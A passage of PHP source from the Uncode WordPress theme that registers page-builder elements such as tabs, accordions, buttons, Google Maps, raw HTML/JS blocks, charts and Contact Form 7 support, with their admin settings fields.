'lbox_dir', 'value' => array( esc_html__('Horizontal', 'uncode') => '', esc_html__('Vertical', 'uncode') => 'vertical', ) , 'description' => esc_html__('Specify the lightbox sliding direction.', 'uncode') , 'group' => esc_html__('Lightbox', 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Title", 'uncode') , "param_name" => "lbox_title", "description" => esc_html__("Activate this to add the media title.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Caption", 'uncode') , "param_name" => "lbox_caption", "description" => esc_html__("Activate this to add the media caption.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Social", 'uncode') , "param_name" => "lbox_social", "description" => esc_html__("Activate this for the social sharing buttons.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Deeplinking", 'uncode') , "param_name" => "lbox_deep", "description" => esc_html__("Activate this for the deeplinking of every slide.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("No thumbnails", 'uncode') , "param_name" => "lbox_no_tmb", "description" => esc_html__("Activate this for not showing the thumbnails.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("No arrows", 'uncode') , "param_name" => "lbox_no_arrows", "description" => esc_html__("Activate this for not showing the navigation arrows.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Connect to other media in page", 'uncode') , "param_name" => "lbox_connected", "description" => esc_html__("Activate this to connect the lightbox with other medias in the same page with this option active.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Remove double tap", 'uncode') , "param_name" => "no_double_tap", "description" => esc_html__("Remove the double tap action on mobile.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , 'dependency' => array( 'element' => 'advanced', 'value' => 'yes', ) , "group" => esc_html__("Mobile", 'uncode') , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', "group" => esc_html__("Extra", 'uncode') , 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) , ) )); /* Tabs ---------------------------------------------------------- */ $tab_id_1 = time() . '-1-' . rand(0, 100); $tab_id_2 = time() . '-2-' . rand(0, 100); vc_map(array( "name" => esc_html__('Tabs', 'uncode') , 'base' => 'vc_tabs', 'show_settings_on_create' => false, 'is_container' => true, 'icon' => 'fa fa-folder', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Tabbed contents', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Vertical tabs', 'uncode') , 'param_name' => 'vertical', 'description' => esc_html__('Specify checkbox to allow all sections to be collapsible.', 'uncode') , 'value' => array( esc_html__("Yes, please", 'uncode') => 'yes' ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) , 'custom_markup' => ' <div class="wpb_tabs_holder wpb_holder vc_container_for_children"> <ul class="tabs_controls"> </ul> %content% </div>', 'default_content' => ' [vc_tab title="' . esc_html__('Tab 1', 'uncode') . '" tab_id="' . $tab_id_1 . '"][/vc_tab] [vc_tab title="' . esc_html__('Tab 2', 'uncode') . '" tab_id="' . $tab_id_2 . '"][/vc_tab] ', 'js_view' => 'VcTabsView' )); vc_map(array( 'name' => esc_html__('Tab', 'uncode') , 'base' => 'vc_tab', 'allowed_container_element' => 'vc_row', 'is_container' => true, 'content_element' => false, 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Tab title.', 'uncode') ) , array( 'type' => 'tab_id', 'heading' => esc_html__('Tab ID', 'uncode') , 'param_name' => "tab_id" ), array( 'type' => 'checkbox', 'heading' => esc_html__('Remove top margin', 'uncode') , 'param_name' => 'no_margin', 'description' => esc_html__('Activate this to remove the top margin.', 'uncode') , 'value' => array( esc_html__("Yes, please", 'uncode') => 'yes' ) ) , ) , 'js_view' => 'VcTabView' )); /* Accordion block ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Accordion', 'uncode') , 'base' => 'vc_accordion', 'show_settings_on_create' => false, 'is_container' => true, 'icon' => 'fa fa-indent', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Collapsible panels', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Active section', 'uncode') , 'param_name' => 'active_tab', 'description' => esc_html__('Enter section number to be active on load.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) , 'custom_markup' => ' <div class="wpb_accordion_holder wpb_holder clearfix vc_container_for_children"> %content% </div> <div class="tab_controls"> <a class="add_tab" title="' . esc_html__('Add section', 'uncode') . '"><span class="vc_icon"></span> <span class="tab-label">' . esc_html__('Add section', 'uncode') . '</span></a> </div> ', 'default_content' => ' [vc_accordion_tab title="' . esc_html__('Section 1', 'uncode') . '"][/vc_accordion_tab] [vc_accordion_tab title="' . esc_html__('Section 2', 'uncode') . '"][/vc_accordion_tab] ', 'js_view' => 'VcAccordionView' )); vc_map(array( 'name' => esc_html__('Section', 'uncode') , 'base' => 'vc_accordion_tab', 'allowed_container_element' => 'vc_row', 'is_container' => true, 'content_element' => false, 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Accordion section title.', 'uncode') ) , ) , 'js_view' => 'VcAccordionTabView' )); /* Widgetised sidebar ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Widgetised Sidebar', 'uncode') , 'base' => 'vc_widget_sidebar', 'weight' => 70, 'class' => 'wpb_widget_sidebar_widget', 'icon' => 'fa fa-tags', 'category' => esc_html__('Structure', 'uncode') , 'description' => esc_html__('Place widgetised sidebar', 'uncode') , 'params' => array( array( 'type' => 'widgetised_sidebars', 'heading' => esc_html__('Sidebar', 'uncode') , 'param_name' => 'sidebar_id', 'description' => esc_html__('Specify which widget area output.', 'uncode'), 'admin_label' => true, ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); /* Button ---------------------------------------------------------- */ $icons_arr = array( esc_html__('None', 'uncode') => 'none', esc_html__('Address book icon', 'uncode') => 'wpb_address_book', esc_html__('Alarm clock icon', 'uncode') => 'wpb_alarm_clock', esc_html__('Anchor icon', 'uncode') => 'wpb_anchor', esc_html__('Application Image icon', 'uncode') => 'wpb_application_image', esc_html__('Arrow icon', 'uncode') => 'wpb_arrow', esc_html__('Asterisk icon', 'uncode') => 'wpb_asterisk', esc_html__('Hammer icon', 'uncode') => 'wpb_hammer', esc_html__('Balloon icon', 'uncode') => 'wpb_balloon', esc_html__('Balloon Buzz icon', 'uncode') => 'wpb_balloon_buzz', esc_html__('Balloon Facebook icon', 'uncode') => 'wpb_balloon_facebook', esc_html__('Balloon Twitter icon', 'uncode') => 'wpb_balloon_twitter', esc_html__('Battery icon', 'uncode') => 'wpb_battery', esc_html__('Binocular icon', 'uncode') => 'wpb_binocular', esc_html__('Document Excel icon', 'uncode') => 'wpb_document_excel', esc_html__('Document Image icon', 'uncode') => 'wpb_document_image', esc_html__('Document Music icon', 'uncode') => 'wpb_document_music', esc_html__('Document Office icon', 'uncode') => 'wpb_document_office', esc_html__('Document PDF icon', 'uncode') => 'wpb_document_pdf', esc_html__('Document Powerpoint icon', 'uncode') => 'wpb_document_powerpoint', esc_html__('Document Word icon', 'uncode') => 'wpb_document_word', esc_html__('Bookmark icon', 'uncode') => 'wpb_bookmark', esc_html__('Camcorder icon', 'uncode') => 'wpb_camcorder', esc_html__('Camera icon', 'uncode') => 'wpb_camera', esc_html__('Chart icon', 'uncode') => 'wpb_chart', esc_html__('Chart pie icon', 'uncode') => 'wpb_chart_pie', esc_html__('Clock icon', 'uncode') => 'wpb_clock', esc_html__('Fire icon', 'uncode') => 'wpb_fire', esc_html__('Heart icon', 'uncode') => 'wpb_heart', esc_html__('Mail icon', 'uncode') => 'wpb_mail', esc_html__('Play icon', 'uncode') => 'wpb_play', esc_html__('Shield icon', 'uncode') => 'wpb_shield', esc_html__('Video icon', 'uncode') => "wpb_video" ); vc_map(array( 'name' => esc_html__('Button', 'uncode') , 'base' => 'vc_button', 'weight' => 97, 'icon' => 'fa fa-external-link', 'php_class_name' => 'uncode_generic_admin', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Button element', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Text', 'uncode') , 'admin_label' => true, 'param_name' => 'content', 'value' => esc_html__('Text on the button', 'uncode') , 'description' => esc_html__('Text on the button.', 'uncode') ) , array( 'type' => 'vc_link', 'heading' => esc_html__('URL (Link)', 'uncode') , 'param_name' => 'link', 'description' => esc_html__('Button link.', 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Button color", 'uncode') , "param_name" => "button_color", "description" => esc_html__("Specify button color.", 'uncode') , "value" => $uncode_colors, ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Size', 'uncode') , 'param_name' => 'size', 'value' => $size_arr, 'admin_label' => true, 'description' => esc_html__('Button size.', 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Shape", 'uncode') , "param_name" => "radius", "description" => esc_html__("You can shape the button with the corners round, squared or circle.", 'uncode') , "value" => array( esc_html__('Default', 'uncode') => '', esc_html__('Round', 'uncode') => 'btn-round', esc_html__('Circle', 'uncode') => 'btn-circle', esc_html__('Square', 'uncode') => 'btn-square' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Border animation", 'uncode') , "param_name" => "border_animation", "description" => esc_html__("Specify a button border animation.", 'uncode') , "value" => array( esc_html__('None', 'uncode') => '', esc_html__('Ripple Out', 'uncode') => 'btn-ripple-out', esc_html__('Ripple In', 'uncode') => 'btn-ripple-in', ) , ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Fluid', 'uncode') , 'param_name' => 'wide', 'description' => esc_html__('Fluid buttons has 100% width.', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) ) , array( "type" => 'textfield', "heading" => esc_html__("Fixed width", 'uncode') , "param_name" => "width", "description" => esc_html__("Add a fixed width in pixel.", 'uncode') , 'dependency' => array( 'element' => 'wide', 'is_empty' => true, ) ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Use skin text color', 'uncode') , 'param_name' => 'text_skin', 'description' => esc_html__("Keep the text color as the skin. NB. This option is only available when the button color is chosen.", 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ), ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Outlined', 'uncode') , 'param_name' => 'outline', 'description' => esc_html__("Outlined buttons doesn't have a full background color.", 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Shadow', 'uncode') , 'param_name' => 'shadow', 'description' => esc_html__('Button shadow.', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Italic text', 'uncode') , 'param_name' => 'Italic', 'description' => esc_html__('Button with italic text style.', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) ) , array( 'type' => 'iconpicker', 'heading' => esc_html__('Icon', 'uncode') , 'param_name' => 'icon', 'description' => esc_html__('Specify icon from library.', 'uncode') , 'settings' => array( 'emptyIcon' => true, // default true, display an "EMPTY" icon? 'iconsPerPage' => 1100, // default 100, how many icons per/page to display 'type' => 'uncode' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Icon position", 'uncode') , "param_name" => "icon_position", "description" => esc_html__("Choose the position of the icon.", 'uncode') , "value" => array( esc_html__('Left', 'uncode') => 'left', esc_html__('Right', 'uncode') => 'right', ) , 'dependency' => array( 'element' => 'icon', 'not_empty' => true, ) ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Layout display', 'uncode') , 'param_name' => 'display', 'description' => esc_html__('Specify the display mode.', 'uncode') , "value" => array( esc_html__('Block', 'uncode') => '', esc_html__('Inline', 'uncode') => 'inline', ) , ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Margin top', 'uncode') , 'param_name' => 'top_margin', 'description' => esc_html__('Activate to add the top margin.', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) , 'dependency' => array( 'element' => 'display', 'not_empty' => true, ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Rel attribute', 'uncode') , 'param_name' => 'rel', 'description' => wp_kses(__('Here you can add value for the rel attribute.<br>Example values: <b%value>nofollow</b>, <b%value>lightbox</b>.', 'uncode'), array( 'br' => array( ),'b' => array( ) ) ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('onClick', 'uncode') , 'param_name' => 'onclick', 'description' => esc_html__('Advanced JavaScript code for onClick action.', 'uncode') ) , array( 'type' => 'media_element', 'heading' => esc_html__('Media lightbox', 'uncode') , 'param_name' => 'media_lightbox', 'description' => esc_html__('Specify a media from the lightbox.', 'uncode') , ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'dropdown', 'heading' => 'Skin', 'param_name' => 'lbox_skin', 'value' => array( esc_html__('Dark', 'uncode') => '', esc_html__('Light', 'uncode') => 'white', ) , 'description' => esc_html__('Specify the lightbox skin color.', 'uncode') , 'group' => esc_html__('Lightbox', 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( 'type' => 'dropdown', 'heading' => 'Direction', 'param_name' => 'lbox_dir', 'value' => array( esc_html__('Horizontal', 'uncode') => '', esc_html__('Vertical', 'uncode') => 'vertical', ) , 'description' => esc_html__('Specify the lightbox sliding direction.', 'uncode') , 'group' => esc_html__('Lightbox', 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( "type" => 'checkbox', "heading" => esc_html__("Title", 'uncode') , "param_name" => "lbox_title", "description" => esc_html__("Activate this to add the media title.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( "type" => 'checkbox', "heading" => esc_html__("Caption", 'uncode') , "param_name" => "lbox_caption", "description" => esc_html__("Activate this to add the media caption.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( "type" => 'checkbox', "heading" => esc_html__("Social", 'uncode') , "param_name" => "lbox_social", "description" => esc_html__("Activate this for the social sharing buttons.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( "type" => 'checkbox', "heading" => esc_html__("Deeplinking", 'uncode') , "param_name" => "lbox_deep", "description" => esc_html__("Activate this for the deeplinking of every slide.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( "type" => 'checkbox', "heading" => esc_html__("No thumbnails", 'uncode') , "param_name" => "lbox_no_tmb", "description" => esc_html__("Activate this for not showing the thumbnails.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( "type" => 'checkbox', "heading" => esc_html__("No arrows", 'uncode') , "param_name" => "lbox_no_arrows", "description" => esc_html__("Activate this for not showing the navigation arrows.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( "type" => 'checkbox', "heading" => esc_html__("Connect to other media in page", 'uncode') , "param_name" => "lbox_connected", "description" => esc_html__("Activate this to connect the lightbox with other medias in the same page with this option active.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("Lightbox", 'uncode') , 'dependency' => array( 'element' => 'media_lightbox', 'not_empty' => true, ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'group' => esc_html__('Extra', 'uncode') , 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) , 'js_view' => 'VcButtonView' )); /* Google maps element ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Google Maps', 'uncode') , 'base' => 'vc_gmaps', 'weight' => 85, 'icon' => 'fa fa-map-marker', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Map block', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Latitude, Longitude', 'uncode') , 'param_name' => 'latlon', 'description' => sprintf(wp_kses(__('To extract the Latitude and Longitude of your address, follow the instructions %s. 1) Use the directions under the section "Get the coordinates of a place" 2) Copy the coordinates 3) Paste the coordinates in the field with the "comma" sign.', 'uncode'), array( 'a' => array( 'href' => array(),'target' => array() ) ) ) , '<a href="https://support.google.com/maps/answer/18539?source=gsearch&hl=en" target="_blank">here</a>') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Map height', 'uncode') , 'param_name' => 'size', 'admin_label' => true, 'description' => esc_html__('Enter map height in pixels. Example: 200 or leave it empty to make map responsive (in this case you need to declare a minimun height for the row and the column equal height or expanded).', 'uncode') ) , array( 'type' => 'textarea_safe', 'heading' => esc_html__('Address', 'uncode') , 'param_name' => 'address', 'description' => esc_html__('Insert here the address in case you want it to be display on the bottom of the map.', 'uncode') , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Map color', 'uncode') , 'param_name' => 'map_color', 'value' => $uncode_colors, 'description' => esc_html__('Specify the map base color.', 'uncode') , //'admin_label' => true, 'param_holder_class' => 'vc_colored-dropdown' ) , array( 'type' => 'dropdown', 'heading' => esc_html__('UI color', 'uncode') , 'param_name' => 'ui_color', 'value' => $uncode_colors, 'description' => esc_html__('Specify the UI color.', 'uncode') , //'admin_label' => true, 'param_holder_class' => 'vc_colored-dropdown' ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Zoom", 'uncode') , "param_name" => "zoom", "min" => 0, "max" => 19, "step" => 1, "value" => 14, "description" => esc_html__("Set map zoom level.", 'uncode') , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Saturation", 'uncode') , "param_name" => "map_saturation", "min" => - 100, "max" => 100, "step" => 1, "value" => - 20, "description" => esc_html__("Set map color saturation.", 'uncode') , ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Brightness", 'uncode') , "param_name" => "map_brightness", "min" => - 100, "max" => 100, "step" => 1, "value" => 5, "description" => esc_html__("Set map color brightness.", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile no draggable", 'uncode') , "param_name" => "mobile_no_drag", "description" => esc_html__("Deactivate the drag function on mobile devices.", 'uncode') , 'group' => esc_html__('Mobile', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'group' => esc_html__('Extra', 'uncode') , 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); /* Raw HTML ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Raw HTML', 'uncode') , 'base' => 'vc_raw_html', 'icon' => 'fa fa-code', 'category' => esc_html__('Structure', 'uncode') , 'wrapper_class' => 'clearfix', 'description' => esc_html__('Output raw html code', 'uncode') , 'params' => array( array( 'type' => 'textarea_raw_html', 'holder' => 'div', 'heading' => esc_html__('Raw HTML', 'uncode') , 'param_name' => 'content', 'value' => base64_encode('<p>I am raw html block.<br/>Click edit button to change this html</p>') , 'description' => esc_html__('Enter your HTML content.', 'uncode') ) , ) )); /* Raw JS ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Raw JS', 'uncode') , 'base' => 'vc_raw_js', 'icon' => 'fa fa-code', 'category' => esc_html__('Structure', 'uncode') , 'wrapper_class' => 'clearfix', 'description' => esc_html__('Output raw JavaScript code', 'uncode') , 'params' => array( array( 'type' => 'textarea_raw_html', 'holder' => 'div', 'heading' => esc_html__('Raw js', 'uncode') , 'param_name' => 'content', 'value' => esc_html__(base64_encode('<script type="text/javascript"> alert("Enter your js here!" ); </script>') , 'uncode') , 'description' => esc_html__('Enter your JS code.', 'uncode') ) , ) )); /* Flickr ---------------------------------------------------------- */ vc_map(array( 'base' => 'vc_flickr', 'name' => esc_html__('Flickr Widget', 'uncode') , 'icon' => 'fa fa-flickr', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Image feed from Flickr', 'uncode') , "params" => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Flickr ID', 'uncode') , 'param_name' => 'flickr_id', 'admin_label' => true, 'description' => sprintf(wp_kses(__('To find your flickID visit %s.', 'uncode'), array( 'a' => array( 'href' => array(),'target' => array() ) ) ) , '<a href="http://idgettr.com/" target="_blank">idGettr</a>') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Number of photos', 'uncode') , 'param_name' => 'count', 'value' => array( 9, 8, 7, 6, 5, 4, 3, 2, 1 ) , 'description' => esc_html__('Number of photos.', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Type', 'uncode') , 'param_name' => 'type', 'value' => array( esc_html__('User', 'uncode') => 'user', esc_html__('Group', 'uncode') => 'group' ) , 'description' => esc_html__('Photo stream type.', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Display', 'uncode') , 'param_name' => 'display', 'value' => array( esc_html__('Latest', 'uncode') => 'latest', esc_html__('Random', 'uncode') => 'random' ) , 'description' => esc_html__('Photo order.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); /** * Pie chart */ vc_map(array( 'name' => esc_html__('Pie chart', 'vc_extend') , 'base' => 'vc_pie', 'class' => '', 'icon' => 'fa fa-pie-chart', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Animated pie chart', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') , 'admin_label' => true ) , array( 'type' => 'textfield', 'heading' => esc_html__('Pie value', 'uncode') , 'param_name' => 'value', 'description' => esc_html__('Input graph value here. Choose range between 0 and 100.', 'uncode') , 'value' => '50', 'admin_label' => true ) , array( 'type' => 'textfield', 'heading' => esc_html__('Pie label value', 'uncode') , 'param_name' => 'label_value', 'description' => esc_html__('Input integer value for label. If empty "Pie value" will be used.', 'uncode') , 'value' => '' ) , array( 'type' => 'textfield', 'heading' => esc_html__('Units', 'uncode') , 'param_name' => 'units', 'description' => esc_html__('Enter measurement units (if needed) Eg. %, px, points, etc. Graph value and unit will be appended to the graph title.', 'uncode') ) , array( "type" => "type_numeric_slider", "heading" => esc_html__("Circle thickness", 'uncode') , "param_name" => "arc_width", "min" => 1, "max" => 30, "step" => 1, "value" => 5, "description" => esc_html__("Set the circle thickness.", 'uncode') , ) , array( 'type' => 'iconpicker', 'heading' => esc_html__('Icon', 'uncode') , 'param_name' => 'icon', 'description' => esc_html__('Specify icon from library.', 'uncode') , 'value' => '', 'admin_label' => true, 'settings' => array( 'emptyIcon' => true, 'iconsPerPage' => 1100, 'type' => 'uncode' ) , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Bar color', 'uncode') , 'param_name' => 'bar_color', 'value' => $uncode_colors, 'description' => esc_html__('Specify pie chart color.', 'uncode') , ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Coloring icon', 'uncode') , 'param_name' => 'col_icon', 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) , ) )); /* Graph ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Progress Bar', 'uncode') , 'base' => 'vc_progress_bar', 'icon' => 'fa fa-tasks', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Animated progress bar', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('Enter text which will be used as widget title. Leave blank if no title is needed.', 'uncode') ) , array( 'type' => 'param_group', 'heading' => esc_html__('Graphic values', 'uncode') , 'param_name' => 'values', 'description' => esc_html__( 'Enter values for graph - value, title and color.', 'uncode' ), 'value' => urlencode( json_encode( array( array( 'label' => esc_html__( 'Development', 'uncode' ), 'value' => '90', ), array( 'label' => esc_html__( 'Design', 'uncode' ), 'value' => '80', ), array( 'label' => esc_html__( 'Marketing', 'uncode' ), 'value' => '70', ), ) ) ), 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__( 'Label', 'uncode' ), 'param_name' => 'label', 'description' => esc_html__( 'Enter text used as title of bar.', 'uncode' ), 'admin_label' => true, ), array( 'type' => 'textfield', 'heading' => esc_html__( 'Value', 'uncode' ), 'param_name' => 'value', 'description' => esc_html__( 'Enter value of bar.', 'uncode' ), 'admin_label' => true, ), array( 'type' => 'dropdown', 'heading' => esc_html__('Bar color', 'uncode') , 'param_name' => 'bar_color', 'value' => $flat_uncode_colors, 'admin_label' => true, 'description' => esc_html__('Specify bar color.', 'uncode') , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Background color', 'uncode') , 'param_name' => 'back_color', 'value' => $flat_uncode_colors, 'admin_label' => true, 'description' => esc_html__('Specify bar background color.', 'uncode') , ) , ), ), array( 'type' => 'textfield', 'heading' => esc_html__('Units', 'uncode') , 'param_name' => 'units', 'description' => esc_html__('Enter measurement units (if needed) Eg. %, px, points, etc. Graph value and unit will be appended to the graph title.', 'uncode') ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); /* Support for 3rd Party plugins ---------------------------------------------------------- */ // Contact form 7 plugin include_once (ABSPATH . 'wp-admin/includes/plugin.php'); // Require plugin.php to use is_plugin_active() below if (is_plugin_active('contact-form-7/wp-contact-form-7.php')) { global $wpdb; $cf7 = $wpdb->get_results(" SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'wpcf7_contact_form' "); $contact_forms = array(esc_html__('Select a form…','uncode') => 0); if ($cf7) { foreach ($cf7 as $cform) { $contact_forms[$cform->post_title] = $cform->ID; } } else { $contact_forms[esc_html__('No contact forms found', 'uncode') ] = 0; } vc_map(array( 'base' => 'contact-form-7', 'name' => esc_html__('Contact Form 7', 'uncode') , 'icon' => 'fa fa-envelope', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Place Contact Form7', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Form title', 'uncode') , 'param_name' => 'title', 'admin_label' => true, 'description' => esc_html__('What text use as form title. Leave blank if no title is needed.', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Specify contact form', 'uncode') , 'param_name' => 'id', 'value' => $contact_forms, 'description' => esc_html__('Choose previously created contact form from the drop down list.', 'uncode') 